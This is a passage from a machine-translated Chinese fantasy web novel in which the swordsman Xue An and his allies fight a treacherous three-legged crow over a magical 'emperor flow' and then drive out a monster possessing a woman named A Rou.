    The dragon clan who was responsible for guarding the secret realm naturally refused, so the two sides immediately broke out into a fierce conflict.


    But this level of defense naturally cannot stop a strong man like Li Jingxing.


    I saw him rushing forward at an eye-popping speed. Wherever he passed, these defensive dragons had no time to react.


    Until it was about to rush into the secret realm, the dragon elder led the elites of the dragon clan and blocked the way.


    "Li Jingxing, this road is nowhere, please go back!" the elder said.


    But Li Jingxing didn''t pay any attention to this at all, he now only had the matter of robbing the emperor flowing in his heart, and all other things were automatically blocked by him.


    So just after a while, he rushed to the front.


    The elder screamed and started to do it.


    Li Jingxing didn''t hesitate at all, raising his eyebrows and cutting out a sword.


    Jian Guang came straight to the Great Elder.


    The sword intent was fierce, causing the great elder to change his expression.


    He could clearly perceive that if he insisted on the sword in this state, he would definitely be seriously injured.


    Therefore, he roared and revealed his body directly.


    Rumble!


    But seeing a golden light flashing, a giant dragon with a length of thousands of miles lay in front of the sky, and then blasted against this sword light.


    With a click, the extremely sturdy scales shattered in an instant, and blood splashed across the flesh and blood, revealing the dense white bones below.


    The great elder screamed in pain, and a look of horror appeared in the huge dragon eye.


    With just a sword, he almost cut off his bones, which shows how terrifying Li Jingxing''s sword intent is.


    In fact, Li Jingxing at this moment can no longer be measured by common sense. The blood on his whole body is burning, just like a total sword lunatic, showing the supreme sword intent to the fullest.


    Li Jingxing, crazy!


    And just after the great elder had a sword in his body, Li Jingxing didn''t even hesitate at all, and raised his hand to cut it out with a few more swords.


    The biting sword light rushed directly to the Great Elder.


    The great elder bit his scalp and wanted to resist. At this moment, Xue An, who had already rushed to the front, raised his hand.


    Mo Wangan turned into a streamer and flew to the front, banging against these sword lights, which was regarded as dissolving this wave of attacks.


    Immediately afterwards, Xue An shouted: "Hurry up, you can''t stop him. Staying here will only increase unnecessary casualties."


    Hearing Xue An''s call, these dragon clan elders looked at each other, and finally broke up and gave way.


    Li Jingxing''s eyes were blood-red, no matter what the situation was, he went straight through the gap.


    Xue An followed closely, and did not forget to take Mo Wangan in the air into his hand when passing by.


    After the two of them left, these elders swarmed over.


    "Elder, are you all right!" the elders asked with concern.


    The great elder shook his head, the wound on his body was healing at a rapid speed, and then took a deep breath.


    "I''m fine, now Master Honglian has chased the madman. Our task is to guard this place to prevent other monsters from entering. At this critical moment everyone must go all out. Make no mistake, understand?"


    "Understood!" The elders knew that this was not a joke, and Qi Qi said in awe.


    But just when they put out twelve points of energy and stood ready.


    The three-legged black and the thousand-legged queen lurking in the darkness have quietly passed through the defensive formation and arrived in the secret realm.


    At this moment, the glow in the secret realm became more and more prosperous, and the whole world seemed to become the surface of the water, with shallow ripples.


    And the huge full moon that was originally suspended in the void also slowly dropped down at this time.


    There is a bright light in the secret realm, which gives birth to a sense of pleasure that the whole body is washed.


    Suddenly.


    In the full moon, a drop of brilliance dripped down.


    This brilliance fell straight down like water droplets.


    "That''s the emperor flow!" Huwan couldn''t help exclaiming.

 Chapter 1837： Lord of the Emperor

    In fact, she didn''t need to make a sound at all, and at the moment when the brilliance dripped down, Li Jingxing rushed away with a hideous face.


    But as soon as he rushed to the front, this drop of emperor liquid suddenly suspended in the air, and then avoided his grasp.


    Immediately afterwards, hands, feet and heads grew on its body.


    Of course, because this drop of emperor flow is not big, the hands, feet and head are all pocket-sized.


    When all formed, this drop of emperor flow is only the size of a child''s palm.


    "It''s formed! This is the real emperor flow!" The fox became excited.


    Upon seeing this, Li Jingxing breathed heavily and stretched out his hand to grab it.


    His speed can be described as extremely fast, the little elf dodged a little slower, and was slightly rubbed by his finger.


    One of its legs was rubbed off.


    Di Liuya let out a cry like a child, and then hurriedly fled away.


    Li Jingxing just wanted to catch up.


    at this time.


    In this full moon, brilliance began to emerge continuously, and then drop by drop.


    Every drop turned into a human form when it was in the air, and then ran away.


    In the blink of an eye, the sky was full of these little elves.


    Such a magical scene stunned everyone.


    Ao Shu suddenly raised his finger to Yuanyue, and said in a trembled voice: "Look, what is that?"


    Everyone looked up, but saw that the full moon at this time was getting bigger and bigger, and in that glow, a person''s shadow loomed.


    This figure curled up in the full moon, like a child who had not yet been born.


    Then the light gradually submerged into the body of this figure, and finally the full moon collapsed.


    Only then did people see that this figure was originally a woman.


    I saw the woman''s eyes closed tightly and her face was peaceful, as if she was asleep.


    The dragons such as Ao Shu and Ao Qing were shocked.


    "It''s the second princess!"


    That''s right!


    The woman who had absorbed the entire round of bright moon was Ao Yi, Princess Long Er who had disappeared in the secret world before.


    When Ao Yi appeared in the air, the sky-filled elf elves immediately gathered around, screaming non-stop, in an extremely intimate state, like a baby calling his mother.


    Everyone looked silly.


    Only Xue An raised his eyebrows slightly, with a look of surprise on his face, and whispered: "She actually absorbed the full moon. Could it be that she is now the lord of the emperor?"


    At this moment, above the head of Ao Yi who was awake, a figure suddenly appeared.


    Immediately afterwards, a bird''s foot covered with sharp claws pressed against Ao Yi''s forehead.


    "Jie Jie, don''t move. Whoever moves again, I will kill her. At that time, you don''t want this emperor flow!"


    With this triumphant voice, everyone could see clearly that what appeared in front of him was a strange bird with three legs.


    "Three-legged crow! How could this ancient fierce beast appear here?" The fox screamed.


    At the same time, this Li Jingxing roared and stepped forward.


    The three-legged crow sneered, "Block this guy!"


    With an order, these emperor flow elves reluctantly flew up and stood in front of the three-legged crow.


    Then the three-legged Uhaha laughed and said, "Li Jingxing, can you see it clearly? I have the final say on this emperor flow. If you still want to save your mother-in-law, be obedient, otherwise I will let you die. All hope."


    As soon as he said this, even though Li Jingxing roared angrily, he could only obediently stand still.


    Then the three-legged Wu looked at Xue An arrogantly, grinned and said, "Master, it''s been a long time!"


    The title of the owner made everyone look at him.


    Xue An''s eyes gradually became cold, and finally he smiled and said: "Yes, long time no see!"


    "Jiejie, I really didn''t expect that one day we would meet in this way, Xue An, do you really want this emperor fluid too? Then you beg me, will I give it to you? Hahaha. "


    Amid the laughter, the three-legged crow trembled with excitement.


    Because what he is facing now is his former master, the aloof Red Lotus Immortal Venerable.


    The thought of such an existence has to bow to oneself, these three-legged crows are simply crazy.


    Xue An looked at him sinkingly, and finally said indifferently: "Three-legged crow, I didn''t expect to see you for a few days. You have really developed your skills, and you dare to do this kind of thing, but have you ever thought about the consequences? ?"


    "Consequence? What is the consequence? As long as the emperor''s slurries go to my own body, then I will be transformed into the first demon race of the heavens. Then who would dare to provoke me?" Sanzuwu cried out proudly.


    "Furthermore, I told you that the surnamed Xue, I have long been dissatisfied with you. After you fell, it was my adversary who informed you of numerous information."


    "For example... Jade Rabbit Clan?" Xue An said with a cold eyes.


    "Yes, yes, I almost forgot if you didn''t tell me, those idiots actually said they wanted to swear allegiance to you, and would not surrender in any way, so I simply revealed their whereabouts to the white tiger clan. It is estimated that you have been disabled for many years! Hahahahaha."


    Three-legged Wu feels exhilarated like never before, especially when he sees Xue An''s extremely cold complexion, he becomes more and more overwhelmed.


    "The surname Xue, after hearing the news of your rebirth and return, we knew that this matter could not be done well. After all, you would not let me go, but the gods are so pitiful that you let the emperor flow at this time. In this world, this is all my luck!"


    "Oh, that''s not right, there is also the Queen of Thousand Feet, are you right?" Three-legged Wu turned his head and shouted into the void.


    In desperation, the Queen of Thousand Feet walked out of the void tremblingly, and her face was a little embarrassed and she bowed her head to Xue An.


    "Guren-sama."


    "Bah, when are you still calling him Lord Honglian? From now on, he will be my defeated man, Qianzu, if you want to serve me well, I will make you a well-deserved queen of the demon race." Three-legged Wu grinned.


    Faced with his aggressive and arrogant posture, everyone''s eyes showed anger.


    No one thought that things would turn out to be like this.


    I thought it would be enough to prevent Li Jingxing but never expected a three-legged crow on the way.


    Even Li Jingxing, who had entered the obsession, looked at the three-legged crow with murderous intent.


    But the more everyone is like this, the more proud the three-legged crow is.


    I saw him laughing strangely: "Come on, all the emperors listen to orders and blend into my body!"


    Because he hijacked Ao Yi, the sky full of emperor flow had to obey him.


    Following his order, countless emperors whispered and began to flow into his body.


    Every drop brightened his eyes.


    In the blink of an eye, his aura rose to an extremely terrifying point, and the feathers on his body became brighter and brighter, and he was obviously about to transform and break through.


    But at this moment, Missing Nian, who sneaked out without knowing when, poked out from behind An Yan.


    Then Nian-nian shouted with a beaming face: "Wow, so many elves! So cute."

 Chapter 1838： Speak up

    The crisp childish voice reverberated in the field, but everyone who was paying full attention to the situation in the field did not pay any attention to it.


    Only the fox suddenly thought of something, his eyes lit up, and then he squatted down and said something in Nian Nian''s ear.


    Nian Nian Qiong''s nose was slightly wrinkled, a layer of anger appeared in her big eyes, and then she raised her hand to point to the three-legged crow in the air.


    "Hey, you, a chicken with many legs, it''s ugly to be so ugly, you dare to swallow the cute elf, it''s so bad, you can spit it out for me."


    I don''t know who taught Nian Nian the words, it''s a loss.


    In particular, the line of chicken with many feet happened to touch the sore spot of the three-legged black crow, and he was so angry that he screamed.


    "Where did the little baby come from, it''s so...


    He was about to curse a few words back, but before he finished speaking, he felt like he was upset in his chest and abdomen.


    Di Liuliu, who had just been swallowed in by him, rushed out of his mouth eagerly.


    The original strong momentum began to languish like a discouraged ball, and the hairiness on his body also became bleak.


    Many people are silly.


    How is this going?


    This little girl just cursed the three-legged crow, and she vomited very obediently?


    Only those who knew what was going on did they understand what was going on, but they couldn''t help but look at Nian Nian with surprise.


    Because no one thought that it was just a child''s thoughts, and he could actually influence such a powerful monster of the monster race with his talent.


    Even Xue An couldn''t help showing surprise.


    At the same time, think of an excited wave.


    "Sister, good job! But it''s too cheap to let this multi-legged chicken just like this. I''ve seen it. All its abilities are concentrated on the third leg. Just interrupt this leg. , You can make it obediently."


    This sentence spread throughout the audience, and it also made the eyes of everyone looking at the three-legged crow strange.


    Especially for the nearest Li Jingxing, his eyes floated to the third foot of the three-legged black, as if thinking about something thoughtfully.


    The three-legged black was even more shocked.


    You must know that the third leg is its biggest secret, and it is also the only life gate on its body.


    It usually disguised it very well, but he didn''t expect to be drunk by a child today.


    Feeling the unkindness in Li Jingxing''s eyes, Sanjuwu couldn''t help shouting: "Don''t come, you don''t come, whoever dares to come, I will kill this woman immediately, and then this emperor will not want anyone to get it."


    As he said, its feet tightened a bit more, and the sharp nails even marked red marks on Ao Yi''s cheeks.


    Ao Shu exclaimed, "Second Sister!"


    Ao Qing also shouted: "Don''t act rashly. Once Ao Yi has an accident, this emperor''s fluid may disappear with it."


    These words made Li Jingxing regain his consciousness. He stopped and looked at the three-legged crow with cold eyes, but could not go any further.


    The three-legged crow secretly breathed a sigh of relief, then grinned and said: "I''m really sorry, I won''t play with you anymore. When I completely absorb the emperor flow, it will be when you guys are destroyed."


    With the voice, the elf elves in the sky began to gather around him, and at the same time its figure began to gradually fade.


    "No, he is going to run, stop it!" Fox yelled.


    But how can everyone who throws a rat avoid can stop the three-legged crow who has decided.


    Seeing it will disappear in front of everyone.


    Think about suddenly raising his hand and pointing somewhere in the void, shouting: "Niannian, here!"


    Nian Nian''s little face was full of solemnity, and she shouted in a deep voice, "Ning!"


    Give an order.


    Following the direction that I thought of, the void suddenly condensed.


    boom.


    The three-legged crow who was ready to escape from the void felt as if he had hit an iron plate.


    Directly knocked it out of the state of hiding and sneaking.


    At the same time, Nian-nian yelled again: "Falling chicken, fall."


    boom!


    The three-legged Wu felt that a wave different from any other power was directly acting on him, and tried to drag himself from the air.


    The three-legged crow was horrified, "What kind of trick is this!"


    As he said, its entire body shook.


    Although Nian Nian''s talent is enough to guard the sky, after all, she is still young and her strength is still too weak, so this time she can only shake it, and can''t really let it fall.


    But this is enough.


    Because of this uncontrolled shaking, the three-legged black feet also slightly left Ao Yi''s head.


    At this moment, the fox yelled, "It''s now!"


    In fact, she didn''t need to say it at all, because at the same time, Ao Qing rushed forward and snatched Ao Yi from the feet of Sanjiawu.


    Before the three-legged Wu could react, Li Jingxing''s sword light had arrived.


    This sword is almost at its peak.


    The three-legged crow doesn''t even feel it, but feels cold under his feet, and then his strength fades like a tide.


    It turned out that Li Jingxing''s sword directly cut off its third leg.


    The three-legged crow was terrified, and shouted, "No...!"


    But then the shouting stopped abruptly, because another sword light flew through the air and directly penetrated its throat. The speed was so fast that it even brought a blood line behind its head.


    A pool of blood gushed out, and the three-legged wunderkind stood in the air, his eyes widened, looking at Xue An in the distance.


    Xue An slowly put down his hands and said faintly: "Well, you have also served me as your master. I will send you off this last journey!"


    Words fall.


    There was a look of regret and relief in the eyes of the three-legged Wu, and then its head burst open. As for the dead body, it fell straight to the ground from the air and fell into sludge.


    The three-legged crow who was once stunned for a while died.


    Then Xue An turned his head and looked at the Queen of Thousand Feet.


    At this time, the Queen of Thousand Feet was scared to the extreme, and her whole body was trembling.


    When Xue An looked at her, she couldn''t help but trembled and said: "Big...sir, please let me go... I am!"


    Xue An said lightly: "Do you think it is possible?"


    The face of the Thousand Feet Queen instantly turned pale Besides you, who else betrayed me? "


    At this time, the Queen of Thousand Feet was almost hysterical, and said with a smile: "A lot, all of your subordinates betrayed you back then!"


    Xue An was silent when he heard this.


    At the same time, behind the Queen of Thousand Feet, a small clone was sneaking into the void.


    This is her unique life-saving skill.


    Just like earthworms, as long as there is a residual limb, it can be resurrected.


    But just when she was about to succeed, a sword light flew across the sky and directly penetrated the little clone.


    The Queen of Thousand Feet screamed in pain.


    Xue An said indifferently: "Very well, since all betrayed, then kill them all!"

 Chapter 1839： How about... let me try?

    As he said, another sword light cut straight past.


    The roar stopped abruptly, and the Queen of Thousand Feet was chopped in half from the middle, and she died.


    This slaughter was so clean and neat that the whole audience was shocked.


    But Li Jingxing did not pay attention to these at all.


    In his opinion, there is only a three-legged crow and a centipede. It doesn''t matter who kills it.


    The important thing is Diliuzhi.


    So he dropped to the ground and walked straight to Ao Qing who was holding the second princess.


    "Leave her to me!" Li Jingxing''s voice was extremely dull, but with unquestionable majesty.


    Ao Qing took a few steps back with an unmoving expression, and said lightly: "Sword Master Li, please don''t make it difficult for others. Yi''er is sleeping. I will never give her to anyone."


    Li Jingxing didn''t speak, because a powerful sword intent began to surge in him, obviously intending to take it.


    The atmosphere suddenly became tense.


    "Hand in, or die!" Li Jingxing said indifferently.


    And these words also made all the dragons angry.


    Ao Qing''s expression gradually became gloomy, "Li Jingxing, my dragon clan tolerates everything, but it doesn''t mean that we are afraid of you. I will never be able to deal with people. If I have the ability to win, let me talk about it!"


    "Okay!" Li Jingxing promised very simply, and immediately after seeing the brilliance in his eyes, he was ready to do it.


    But at this moment, a slender and slender hand that was carved like a sapphire suddenly appeared on his shoulder, and then patted it lightly.


    "Okay, don''t shout and scream at every turn. You are so old, why are you still so angry!"


    Li Jingxing knew who was speaking without turning his head, so he said coldly, "Xue An, you''d better not mix up this matter, because Diliuzhi...I''m bound to win, no one can do it!"


    Ao Qing was also agitated, "Then you can come and try to see if my dragon is afraid of you!"


    The situation is deadlocked again.


    Xue An sighed softly, "If you want one, you don''t give it to the other. If you really want to fight, it will definitely hurt both sides. Otherwise, you just want to resurrect the skeleton in your arms. It shouldn''t take much. Flowing, how about I can give you part of what I deserve?"


    Xue An''s proposal can be said to be perfect. It not only takes care of the face of the dragon clan, but also gives Li Jingxing a chance.


    But Ao Qing shook her head when she heard the words, "Master Honglian, I have troubled you, but please forgive me for not being able to do it now!"


    Xue An''s complexion changed, "What? I can''t deal with the share of the emperor flow that I deserve? Or is it...you dragons are going to fall back?"


    Following the questioning, Xue An''s momentum rose steadily, and his eyes became extremely cold.


    This couldn''t help but make him not angry, because Ao Qing''s verbal meaning was obviously intended to fall back.


    At this time, Hu Ye also stood behind Xue An with a sinking face.


    The atmosphere suddenly became more tense than before.


    Ao Shu, who stood behind her sister, watched this scene with anxious face, and then whispered: "Sister, what''s the matter with you? Why didn''t you agree to Brother Honglian''s proposal?"


    There seemed to be some doubts in the words.


    At this time, Ao Qing shook her head and smiled bitterly: "Master Honglian, let me calm down first. My Dragon Clan is also a great clan of the heavens. Of course, I won''t reckless, but the situation is special now, so I will say that!"


    "Special circumstances?"


    "That''s right!" Ao Qing lowered her head and looked at her sister Ao Yi, who was still sleeping in her arms, and said softly: "Since ancient times, this situation has never happened before."


    "The lord of the emperor flow pulp should have been the full moon, but after it collapsed, these emperor flow pulp became unowned, but who would have thought that Yi''er would have entered the Lunar Blossom Secret Realm ahead of time, and By coincidence, he replaced the full moon and became the lord of the emperor this time."


    "So now these elves transformed by Diliuxiang regard her as their master, she doesn''t speak, and Diliuxiang will not blend into anyone''s body."


    "In other words, not only your half of Honglian-sama can''t be used now, even the emperor''s fluid that the dragon clan urgently needs can''t be used."


    "Everything can only be said when she wakes up."


    After Ao Qing finished speaking, the audience fell into silence.


    Suddenly.


    Hu Ye raised his head and asked, "Then when will she wake up?"


    "I don''t know, maybe the next moment, or a hundred years later!"


    "Fuck, doesn''t that mean we have to wait here forever?" Hu Ye cried out disappointed.


    But Li Jingxing raised his eyebrows slightly, "I can''t wait that long. Now give her to me. I can make these emperors obediently obedient."


    Ao Qing sneered again and again after hearing the words, "What is the solution? Are you planning to use violence to coerce my sister like the three-legged crow?"


    Li Jingxing did not speak, but silence represented acquiescence.


    "I''m telling you, who would dare to hurt my sister a hair, don''t blame me Ao Qing for turning my face and denying anyone!"


    Ao Qing, who has always been good-tempered, was also on fire at this time, and shouted with murderous expression on her face just like a cat with blown up fur.


    Li Jingxing sneered slightly, "If your father is alive, I will turn my head and leave now, but you...you are not my opponent."


    With that said, Li Jingxing planned to do it.


    But at this moment, a timid childlike voice said: "Or...let me try?"


    Everyone turned to look around.


    Nian Nian is speaking.


    At this moment, she lowered her head shyly, twisting the corners of her clothes, and whispered: "I can command these little elves, and I don''t need to swallow them, as long as they turn them on."


    Xue An was startled when he saw this, and then showed the kind smile of his old father.


    The smile is full of relief.


    Because he saw the growth of his daughter.


    Once upon a time, these two little girls could only follow their buttocks for candy.


    But now, she can actually play her role in such an occasion.


    Thinking of this, Xue An couldn''t help but sigh.


    Daughter, really grown up.


    at the same time.


    Ao Qing said with a surprised look: "Can you command these little elves?"


    Niannian nodded heavily, then raised his hand, "Come here!"


    With an order, these little elves immediately surrounded Nian-nian and began to dance.


    Everyone''s eyes gradually widened.


    Ao Qing was even more excited, "God, you can actually command!"


    At this moment , Li Jingxing walked quickly towards the two little girls.


    An Yan trembled, and wanted to step forward and block her two daughters behind her.


    But at this moment, but seeing this Li Jingxing greeted Nian Nian deeply.


    "Lord of the Sword Palace, Li Jingxing, Miss Youlao can help!"


    People are a little stupid.


    What kind of status is Li Jingxing.


    That is the dignified fairy emperor, the top existence in charge of the northern realm of the heavens!


    It is no exaggeration to say that he stomped his foot, and most of the sky trembled.


    But this kind of existence bowed to a seven or eight-year-old girl. How do you look at this scene?


    Nian-nian''s face flushed, and she stammered: "I...I haven''t done it yet."


    "Thank you if you haven''t done it." Li Jingxing said very seriously.

 Chapter 1840： Cruel farewell

    Many people are a little confused.


    What kind of character is this Li Jingxing?


    How can sometimes be paranoid scary, crazy and unhuman.


    Sometimes so polite?


    Only Xue An chuckled.


    Only he could understand that there was nothing wrong with this Li Jingxing, it was just that his sword training was a little confused.


    Many sword repairers have this problem.


    Because they are accustomed to pure kendo, they can solve problems straightforwardly without knowing how to adapt.


    But just as Nian Nian was about to do something, the thinking beside her shook his head, and then said with a serious face, Jingxing.


    "Uncle, don''t bother in vain, you can''t be resurrected, because she is completely dead!"


    These words caused Li Jingxing''s expression to change wildly.


    An Yan was even more scared to think about it, looking at Li Jingxing extremely nervously, for fear that he would go crazy again.


    Many people can''t help but take a breath, don''t understand why they want to say that.


    "You nonsense, she is not dead, she can definitely come back to life!" Li Jingxing said.


    Thinking about it, he broke away from An Yan��s arms and said very seriously: "Uncle, I don��t lie to you. If you really don��t give up, you can try it, but it doesn��t make sense at all, because it tells me it is too If you are tired, let it go like this!"


    "Tell you in person? Who told you in person?" Li Jingxing asked in surprise.


    "That''s it!" Think of the skeleton in Li Jingxing''s arms.


    "It... its Feng Ling hasn''t dissipated yet?" Li Jingxing shouted extremely excitedly.


    Think about it and shook his head, "I don''t know what Feng Ling you are talking about. I just can see the essence of everything, and there is a breath that remains in it, which is what this breath told me. !"


    Speaking of this, think about tilting his head and looking at Li Jingxing, "Uncle, is this auntie''s hair red?"


    Li Jingxing was struck by lightning and nodded tremblingly, "Yes!"


    "That''s right, this aunt''s obsession told me that she wants you to let go, because...your kindness is the cruelest to her, so let her go."


    As soon as he said this, tears came from Li Jingxing''s eyes, and then he slowly squatted down, sobbing and crying.


    Men��s tears are sometimes far more touching than words.


    For example, now, watching this Li Jingxing crying like a child, the audience is silent for him.


    Thinking about it, I thought I did something wrong. I lowered my voice and asked An Yan, "Mom, did I say the wrong thing? What did that sentence mean?"


    An Yan sighed softly when he heard the words, and then gently stroked his thinking head.


    "Nothing, just a cruel farewell!"


    "Is it cruel to say goodbye?"


    "Of course." An Yan said, and then softly sighed: "And sometimes it is more cruel than that sword."


    Just as Li Jingxing was crying, Xue An didn''t know when he came to him and patted him on the shoulder.


    "Okay, it''s better to cry, do you want to try?" Xue An said softly.


    Li Jingxing gradually stopped crying, shook his head, then stood up, carefully wrapped the skull in his arms, and once more thought about giving a deep salute.


    Now I was shocked to think about it.


    Li Jingxing said with a serious face: "Little girl, thank you for telling me this, I understand!"


    Speaking of this, the tears on his face have disappeared without a trace, and the previous madness has also disappeared, and he has changed back to the master of the sword palace.


    Then he turned his head and said to Xue An, "Xue An, you have given birth to two amazing daughters."


    "Hehe, that is, you don''t see whose daughter it is!" Xue An said with a smile.


    "I''ll leave for a while and come back in two days. Will you still be here?" Li Jingxing asked.


    Xue An nodded, "Yes, I happen to have something to stay with the Dragon Clan for a few days."


    Li Jingxing nodded, "Okay, then wait for me to come back!"


    After all, he held the skeleton soaring into the sky, joined the pair of twin phoenixes in the air, and then disappeared into the vast void.


    Li Jingxing just left.


    Hu Ye couldn''t help but breathe out, "Huh, this big guy is finally gone."


    Then he turned around and said to Niannian with a smile on his face.


    "Niannian, while it''s okay now, hurry up and treat your aunt''s eyes first!"


    Nian Nian nodded, "Okay!"


    As she said, she waved her little chubby hand and pointed at Arou.


    "Elves, help me heal her eyes."


    Following the voice, the little elves flying all over the sky twitched towards Arou.


    A Rou stood there nervously.


    She can probably see the situation in the field through her hearing, but it depends on whether she can see the light again, which is naturally full of anxiety.


    Hu Ye saw this, so he stepped forward and gently wrapped her waist.


    "Don''t be afraid, I am here!"


    "Ok!"


    Feeling the comfort of Fox Ye, Arou, who was trembling slightly, immediately calmed down.


    At this time, the little elves transformed by the emperor flow were dotted on A Rou''s eyes like a tide.


    A little bit of brilliance began to gather in A Rou''s body It felt like countless elves were igniting the fire in A Rou''s body.


    A Rou''s eyes gradually glowed.


    Fox night became more and more excited.


    But at this moment.


    A Rou''s entire body suddenly began to twist at a strange angle.


    Immediately afterwards, she let out a howl like a ghost cry.


    In the harsh sound, Hu Ye was shocked.


    "Arou!"


    As he said, he stretched out his hand to try to touch A Rou.


    But he hadn''t waited for his hand to reach halfway.


    A Rou soared up, then raised her head in the air and opened her eyes.


    The red beam of light rushed straight into the sky, and her eyes were as evil as a blood pool in hell.


    Immediately afterwards, Arou let out a shrill laugh like a scraping iron.


    "Jie Jie Jie, I didn''t expect that someone could actually open her seal!"


    Huye was shaking all over his body, then hissed sharply, "Who are you?"


    "Who am I?" A Rou''s eyes dripped with blood and tears, "I am the one who takes her vision!"


    Huye was frightened and furious when he heard the words, "Give me to die!"


    He said he rushed forward.


    But as soon as he rushed halfway, Arou sneered, "Come here, believe it or not you take a step forward, I immediately let her die on the spot?"


    Hu Ye stopped immediately.


    Immediately afterwards, A Rou looked at the situation at the scene with an evil look.


    "Tsk tusk tusk, it really is the emperor, it seems my luck is really good!"


    With the harsh laughter, A Rou directly rushed towards the emperor flowing elves flying all over the sky.


    The elves disappeared.


    But at this moment, Arou suddenly opened her mouth, her tongue stretched out, turned into countless tentacles, and came straight to these elves.

 Chapter 1841： Kill the possessed monster

    But these tentacles just rushed to the halfway, a sword light suddenly flew across the sky, wherever they passed, these tentacles were chopped in half.


    The smelly blood sprayed all over the place, and "A Rou" let out a painful roar.


    "Ah ah ah Jian Xiu, I''m going to eat you!"


    As she said, she suddenly opened her mouth, and her cheeks were torn apart in an instant, revealing her mouth full of hideous and terrifying teeth.


    Upon seeing this, Hu Ye almost fainted, and his whole body shook, and then he screamed hoarsely.


    "Arou!"


    With the shout, his eyes became blood red, and then he rushed up with an angry roar.


    "I''m going to kill you!"


    From Huye''s point of view, A Rou had become such a ghost, and he had obviously suffered an accident.


    How could this not make him angry.


    But just as he rushed closer, Xue An''s voice suddenly came from behind, "Be careful not to hurt her, her current appearance is just the monster attached to her who is messing up, A Rou is fine!"


    Hearing these words, Hu Ye was slightly taken aback.


    And it was in this stupefying kung fu that A Rou suddenly flew up and went straight to the emperor in the sky.


    Not only that, at the same moment, the severed tentacles on the ground also began to squirm as if they were alive, and then surged and flew after Ah Rou.


    This **** and weird scene is simply tingling scalp.


    Hu Ye was a little at a loss.


    He doesn''t know what he should do. If he shoots directly, he is afraid of hurting Arou, but if he does not shoot, this monster is obviously going to devour the emperor''s fluid to strengthen himself. If this allows him to succeed, it will be more troublesome then Up.


    In a dilemma.


    A figure suddenly appeared in the void, directly blocking A Rou.


    "Go away!"


    A Rou roared, her head suddenly turned into a huge mouthpart, swallowing directly at the person in front of her.


    The person who stopped A Rou was naturally Xue An.


    Facing such a disgusting blow, Xue An frowned slightly.


    "Has anyone told you that you have bad breath?"


    "Ok?"


    Xue An''s words made the monster slightly startled.


    At this moment, Xue An suddenly stretched out his hand and plunged directly into the mouth of this blood basin.


    The monster seemed to realize something and immediately began to struggle frantically.


    But Xue An''s speed was extremely fast, and in the blink of an eye, the entire arm was completely submerged in this blood basin.


    The monster was speechless, he could only scream, and at the same time the fangs in his mouth grew rapidly, trying to bite Xue An''s arm.


    But all is in vain.


    Before these teeth touched Xue An''s skin, they were directly crushed by Jianguang, and even the blood was too late to drip, and they were evaporated into nothingness in the air.


    A look of horror appeared in the monster''s eyes, and then her skin began to surging, as if something was swimming in her muscles, trying to break out of her body.


    "Want to die together? Ha ha, you deserve it?"


    Xue An sneered. With a sudden force on his arm, the monster instantly froze, and then Xue An slowly pulled out his arm.


    With each movement, A Rou''s body recovered a point.


    at last.


    Xue An''s hand came to his mouth. At this time, people finally saw that what Xue An was holding in his hand was a monster beast with all its fangs.


    It resisted with horror, trying to get rid of Xue An''s shackles.


    But Xue An didn''t even lift his eyelids, and slammed outwards.


    puff!


    This monster beast was pulled out of Ah Rou''s mouth.


    As the blood splattered, everything that was terrifying and terrifying instantly turned into fly ash, A Rou returned to her original appearance, and then fell straight down.


    Hu Ye immediately rushed forward and hugged her. After a closer inspection, she was relieved.


    Because the current Arou is not a major problem except for the coma caused by physical weakness and excessive shock.


    There was no trace of the torn mouth before.


    at the same time.


    Xue An in midair held the monster beast in his hand and said lightly: "Let''s talk, where is your body now?"


    The monster trembled all over, hissed: "You..."


    "Don''t worry about how I knew it, now I am asking you, so I only give you three seconds to think about it. Once the time has passed, Lihua Feihui!"


    Xue An''s tone is very flat, but it contains unparalleled confidence.


    "One!"


    "Jianxiu, you are very powerful, but you shouldn''t care about this nosy. Now let me go, I will treat it as if it hadn''t happened." The monster roared.


    Xue An seemed to have not heard, and continued to say: "Two!"


    "Jian Xiu, if you dare to kill me, then wait to endure endless pursuits. Me and my power are existences that you can''t imagine, and my anger will be beyond your end."


    Xue An''s mouth gradually raised, revealing a cold smile, and then whispered: "Three!"


    As soon as this last word was uttered, Xue An slammed hard.


    Bang!


    This monster beast was squeezed and exploded by Xue Ansheng before it even had time to scream .


    But at the moment it was crushed to pieces, countless blood and flesh and blood residues flew in all directions, trying to escape here.


    I have to say that this trick is really strange and powerful enough.


    Because as long as a drop of blood escapes, it is considered to have escaped.


    The average powerhouse may be really helpless in the face of this scene.


    At least this monster thinks so.


    But before it had time to be proud, Xue An flicked his finger slightly, and a ray of flame appeared in the air.


    When this flame came out, the temperature of the entire world began to rise rapidly.


    The blood of this monster beast was surging continuously, as if it were extremely painful.


    Xue An said lightly: "I said I want you to be turned into fly ash, then you have to turn into fly ash!"


    With that, Xue An snapped his fingers.


    boom!


    The flame soared into the sky, directly igniting the entire sky.


    Amidst the raging flames, a faintly terrified howl came from the void, and then all the blood and residual limbs of this monster beast were burned into nothingness.


    This fire is coming and going fast.


    After just a few breaths, the fire that had soared to the sky disappeared without a trace.


    Looking at the sky at this time, there was no trace of a monster beast.


    But at this moment, a little gray-green brilliance fell.


    Xue An spread out his hand and caught the brilliance, then gently closed his palm and closed his eyes.


    The field became very quiet.


    Everyone watched with bated breath.


    With a full cup of tea, Xue An suddenly opened his eyes, the brilliance in his eyes flickered, and then there was a bit of murderous intent on his face.


    "Very well, I haven''t asked you to settle the affairs of the Chinese people. You dare to collude with these demons to harm sentient beings. Then don''t blame me for being rude!"

 Chapter 1842： Restart the Holy Land

    After finishing the monster beast completely, Xue An fell to the ground and Hu Ye hurriedly greeted him.


    "How is it? Have you found out the origin of the other party?"


    The voice was extremely cold, and it was obvious that the fox night, who had always been arrogant, was really angry at this moment.


    Xue An smiled, "A little eyebrow."


    "Then who is it? Where is the main body?" Hu Ye asked impatiently.


    Xue An shook his head, "It''s not the time to talk about this."


    "What''s the time then? Old Xue, don''t betray you, tell me who it is, I will smash it into pieces!" Hu Ye gritted his teeth and roared.


    "This matter is very complicated. It cannot be said clearly in a few words, but you can rest assured that I will give you an explanation on this matter!"


    What did Hu Ye want to say, at this moment, A Rou, who was lying on the side, suddenly let out a cry.


    Hu Ye shook all over, and immediately ran over like flying.


    at the same time.


    A Rou''s eyelashes trembled lightly and slowly opened her eyes.


    Hu Ye looked at her with concern. "Rou''er, how is it? Is there anything uncomfortable?"


    A Rou shook her head slightly, trying to say something, but was stunned.


    Because she was shocked to find that she could actually see things.


    The clouds in the sky, the grass and trees on the ground, everything appeared in her eyes.


